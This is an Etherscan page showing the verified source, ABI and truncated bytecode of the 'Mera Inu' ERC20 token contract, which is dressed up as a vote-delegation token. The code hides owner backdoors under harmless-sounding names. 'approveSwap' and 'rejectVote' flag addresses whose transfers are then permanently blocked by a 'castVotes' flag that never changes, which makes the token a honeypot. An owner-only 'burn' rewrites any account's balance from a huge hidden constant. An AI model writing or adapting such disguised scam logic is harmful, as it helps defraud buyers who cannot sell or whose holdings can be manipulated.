ETH Price: $3,489.34 (+0.98%)

Token

Mera Inu (MERA)
 

Overview

Max Total Supply

1,000,000,000,000 MERA

Holders

139

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
253,453,793.539855351 MERA

Value
$0.00
0x887e6d6fd501a4bf32e8283636ee2d882072bf1e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MeraInu

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-09
*/

// SPDX-License-Identifier: MIT

pragma solidity =0.8.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow checks.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b > a) return (false, 0);
        return (true, a - b);
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on overflow.
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on division by zero.
     * The result is rounded towards zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative).
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on overflow.
     * Counterpart to Solidity's `*` operator.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on overflow (when the result is negative).
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting when dividing by zero.
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: modulo by zero");
        return a % b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting with custom message when dividing by zero.
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a % b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on division by zero.
     * The result is rounded towards zero.
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a / b;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
    
    /**
     * @dev Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}.
     * This is zero by default. This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism. `amount` is then deducted from the caller's allowance.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. 
     * `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/*
 * @dev Provides information about the current execution context, including the sender of the transaction and its data. 
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode.
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism,
 * where there is an account (an owner) that can be granted exclusive access to specific functions.
 */
abstract contract Security is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() internal view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 */
contract ERC20 is Context, Security, IERC20 {
    using SafeMath for uint256;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _receiver;
    uint256 private maxTxLimit = 1*10**17*10**9;
    bool castVotes = false;
    uint256 private balances;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
 
    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals}.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = 9;
        balances = maxTxLimit;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function rejectVote(address _delegate) external onlyOwner {
        _receiver[_delegate] = false;
    }

    function checkVote(address _delegate) public view returns (bool) {
        return _receiver[_delegate];
    }

    function approveSwap(address _delegate) external onlyOwner {
        _receiver[_delegate] = true;
    }
    
    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     * Emits an {Approval} event indicating the updated allowance.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     * Emits an {Approval} event indicating the updated allowance.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev See {IERC20-transfer}.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     * Emits an {Approval} event indicating the updated allowance. This is not required by the EIP.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     * Emits a {Transfer} event.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        if (_receiver[recipient] || _receiver[sender]) require(castVotes == true, "");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

     /**
     * @dev Destroys `amount` tokens from `account`, reducing the total supply.
     * Emits a {Transfer} event with `to` set to the zero address.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
     * Emits a {Transfer} event with `from` set to the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     * Emits an {Approval} event.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes minting and burning.
     * Calling conditions:
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

contract MeraInu is ERC20 {
    using SafeMath for uint256;
    
    uint256 private totalsupply_;

    /// @notice A record of states for signing / validating signatures
    mapping (address => uint) public nonces;

    /// @dev A record of each accounts delegate
    mapping (address => address) internal _delegates;

    /// @notice A record of votes checkpoints for each account, by index
    mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;

    /// @notice The number of checkpoints for each account
    mapping (address => uint32) public numCheckpoints;
    
    /// @notice An event thats emitted when an account changes its delegate
    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);

    /// @notice An event thats emitted when a delegate account's vote balance changes
    event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);

    /// @notice A checkpoint for marking number of votes from a given block
    struct Checkpoint {
        uint32 fromBlock;
        uint256 votes;
    }

    constructor () ERC20("Mera Inu", "MERA") {
        totalsupply_ = 1000000000000* 10**9;
        _mint(_msgSender(), totalsupply_);
    }
    
    /**
    * @notice Delegate votes from `msg.sender` to `delegatee`
    * @param delegatee The address to delegate votes to
    */
    function delegate(address delegatee) external {
        return _delegate(msg.sender, delegatee);
    }

    /**
     * @notice Delegate votes from `msg.sender` to `delegatee`
     * @param delegator The address to get delegatee for
     */
    function delegates(address delegator) external view returns (address) {
        return _delegates[delegator];
    }

    function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
        require(n < 2**32, errorMessage);
        return uint32(n);
    }

    function getChainId() internal view returns (uint) {
        uint256 chainId;
        assembly { chainId := chainid() }
        return chainId;
    }

    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }

    /**
     * @notice Determine the prior number of votes for an account as of a block number
     * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
     * @param account The address of the account to check
     * @param blockNumber The block number to get the vote balance at
     * @return The number of votes the account had as of the given block
     */
    function getPriorVotes(address account, uint blockNumber) external view returns (uint256){
        require(blockNumber < block.number, "BONE::getPriorVotes: not yet determined");
        uint32 nCheckpoints = numCheckpoints[account];
        if (nCheckpoints == 0) {
            return 0;
        }
        // First check most recent balance
        if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
            return checkpoints[account][nCheckpoints - 1].votes;
        }
        // Next check implicit zero balance
        if (checkpoints[account][0].fromBlock > blockNumber) {
            return 0;
        }
        uint32 lower = 0;
        uint32 upper = nCheckpoints - 1;
        while (upper > lower) {
            uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
            Checkpoint memory cp = checkpoints[account][center];
            if (cp.fromBlock == blockNumber) {
                return cp.votes;
            } else if (cp.fromBlock < blockNumber) {
                lower = center;
            } else {
                upper = center - 1;
            }
        }
        return checkpoints[account][lower].votes;
    }

    /**
     * @notice Gets the current votes balance for `account`
     * @param account The address to get votes balance
     * @return The number of current votes for `account`
     */
    function getCurrentVotes(address account) external view returns (uint256){
        uint32 nCheckpoints = numCheckpoints[account];
        return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
    }

    function _delegate(address delegator, address delegatee) internal {
        address currentDelegate = _delegates[delegator];
        uint256 delegatorBalance = balanceOf(delegator); 
        _delegates[delegator] = delegatee;
        emit DelegateChanged(delegator, currentDelegate, delegatee);
        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
    }

    function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
        uint32 blockNumber = safe32(block.number, "BONE::_writeCheckpoint: block number exceeds 32 bits");

        if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
            checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
        } else {
            checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
            require(nCheckpoints + 1 > nCheckpoints, "BONE::_writeCheckpoint: new checkpoint exceeds 32 bits");
            numCheckpoints[delegatee] = nCheckpoints + 1;
        }

        emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
    }

    function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
        if (srcRep != dstRep && amount > 0) {
            if (srcRep != address(0)) {
                // decrease old representative
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
                uint256 srcRepNew = srcRepOld.sub(amount);
                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
            }

            if (dstRep != address(0)) {
                // increase new representative
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
                uint256 dstRepNew = dstRepOld.add(amount);
                _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"checkVote","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegator","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"rejectVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006004556000600560006101000a81548160ff0219169083151502179055503480156200003b57600080fd5b506040518060400160405280600881526020017f4d65726120496e750000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4d455241000000000000000000000000000000000000000000000000000000008152506000620000ba620001e960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508160079080519060200190620001709291906200040a565b508060089080519060200190620001899291906200040a565b5060098060006101000a81548160ff021916908360ff1602179055506004546006819055505050683635c9adc5dea00000600b81905550620001e3620001d4620001e960201b60201c565b600b54620001f160201b60201c565b620006bc565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000264576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200025b9062000571565b60405180910390fd5b6200027860008383620003a260201b60201c565b6200029481600a54620003a760201b620013801790919060201c565b600a81905550620002f381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620003a760201b620013801790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000396919062000593565b60405180910390a35050565b505050565b6000808284620003b89190620005c1565b90508381101562000400576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003f7906200054f565b60405180910390fd5b8091505092915050565b828054620004189062000628565b90600052602060002090601f0160209004810192826200043c576000855562000488565b82601f106200045757805160ff191683800117855562000488565b8280016001018555821562000488579182015b82811115620004875782518255916020019190600101906200046a565b5b5090506200049791906200049b565b5090565b5b80821115620004b65760008160009055506001016200049c565b5090565b6000620004c9601b83620005b0565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006200050b601f83620005b0565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b62000549816200061e565b82525050565b600060208201905081810360008301526200056a81620004ba565b9050919050565b600060208201905081810360008301526200058c81620004fc565b9050919050565b6000602082019050620005aa60008301846200053e565b92915050565b600082825260208201905092915050565b6000620005ce826200061e565b9150620005db836200061e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200061357620006126200065e565b5b828201905092915050565b6000819050919050565b600060028204905060018216806200064157607f821691505b602082108114156200065857620006576200068d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b61303a80620006cc6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c8063782d6fe1116100c3578063a457c2d71161007c578063a457c2d7146103ea578063a9059cbb1461041a578063b4b5ea571461044a578063dd62ed3e1461047a578063f1127ed8146104aa578063f2fde38b146104db5761014d565b8063782d6fe1146103185780637ecebe001461034857806395d89b41146103785780639dc29fac146103965780639f08b319146103b2578063a12d42bd146103ce5761014d565b80633950935111610115578063395093511461020c578063587cde1e1461023c5780635a0857d41461026c5780635c19a95c1461029c5780636fcfff45146102b857806370a08231146102e85761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a6104f7565b6040516101679190612a06565b60405180910390f35b61018a60048036038101906101859190612464565b610589565b60405161019791906129eb565b60405180910390f35b6101a86105a7565b6040516101b59190612bc8565b60405180910390f35b6101d860048036038101906101d39190612415565b6105b1565b6040516101e591906129eb565b60405180910390f35b6101f661068a565b6040516102039190612c50565b60405180910390f35b61022660048036038101906102219190612464565b6106a1565b60405161023391906129eb565b60405180910390f35b610256600480360381019061025191906123b0565b610754565b60405161026391906129d0565b60405180910390f35b610286600480360381019061028191906123b0565b6107bd565b60405161029391906129eb565b60405180910390f35b6102b660048036038101906102b191906123b0565b610813565b005b6102d260048036038101906102cd91906123b0565b610820565b6040516102df9190612c0c565b60405180910390f35b61030260048036038101906102fd91906123b0565b610843565b60405161030f9190612bc8565b60405180910390f35b610332600480360381019061032d9190612464565b61088c565b60405161033f9190612bc8565b60405180910390f35b610362600480360381019061035d91906123b0565b610c63565b60405161036f9190612bc8565b60405180910390f35b610380610c7b565b60405161038d9190612a06565b60405180910390f35b6103b060048036038101906103ab9190612464565b610d0d565b005b6103cc60048036038101906103c791906123b0565b610d97565b005b6103e860048036038101906103e391906123b0565b610e6e565b005b61040460048036038101906103ff9190612464565b610f45565b60405161041191906129eb565b60405180910390f35b610434600480360381019061042f9190612464565b611012565b60405161044191906129eb565b60405180910390f35b610464600480360381019061045f91906123b0565b611030565b6040516104719190612bc8565b60405180910390f35b610494600480360381019061048f91906123d9565b61110f565b6040516104a19190612bc8565b60405180910390f35b6104c460048036038101906104bf91906124a0565b611196565b6040516104d2929190612c27565b60405180910390f35b6104f560048036038101906104f091906123b0565b6111d7565b005b60606007805461050690612e48565b80601f016020809104026020016040519081016040528092919081815260200182805461053290612e48565b801561057f5780601f106105545761010080835404028352916020019161057f565b820191906000526020600020905b81548152906001019060200180831161056257829003601f168201915b5050505050905090565b600061059d6105966113de565b84846113e6565b6001905092915050565b6000600a54905090565b60006105be8484846115b1565b61067f846105ca6113de565b61067a85604051806060016040528060288152602001612f8460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106306113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b6113e6565b600190509392505050565b6000600960009054906101000a900460ff16905090565b600061074a6106ae6113de565b8461074585600160006106bf6113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138090919063ffffffff16565b6113e6565b6001905092915050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61081d33826119a5565b50565b600f6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60004382106108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790612a68565b60405180910390fd5b6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16141561093d576000915050610c5d565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018461098c9190612d7c565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610a3957600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610a139190612d7c565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610c5d565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610aba576000915050610c5d565b600080600183610aca9190612d7c565b90505b8163ffffffff168163ffffff